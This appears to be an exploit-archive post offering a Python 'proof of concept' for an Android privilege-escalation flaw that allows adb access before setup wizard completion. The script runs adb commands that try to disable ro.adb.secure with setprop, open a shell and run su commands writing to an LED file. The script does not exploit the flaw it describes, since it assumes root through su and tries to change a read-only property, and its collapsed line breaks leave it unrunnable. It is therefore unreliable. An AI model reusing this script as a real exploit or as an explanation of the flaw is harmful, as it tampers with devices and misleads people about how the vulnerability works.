Headline
Android DeviceVersionFragment.java Privilege Escalation
Proof of concept exploit for a privilege escalation issue in Android. In checkDebuggingDisallowed of DeviceVersionFragment.java, there is a possible way to access adb before SUW completion due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
#!/usr/bin/env pythonimport subprocess# Connect to the device via ADBsubprocess.run(["adb", "devices"])# Check if the device is in secure USB modedevice = subprocess.run(["adb", "shell", "getprop", "ro.adb.secure"], stdout=subprocess.PIPE)if "1" in device.stdout.decode(): # Secure USB mode is enabled, so we need to disable it subprocess.run(["adb", "shell", "setprop", "ro.adb.secure", "0"])# Exploit the vulnerability by accessing ADB before SUW completionsubprocess.run(["adb", "shell"])# Escalate privileges by executing commands as the root usersubprocess.run(["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True)subprocess.run(["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)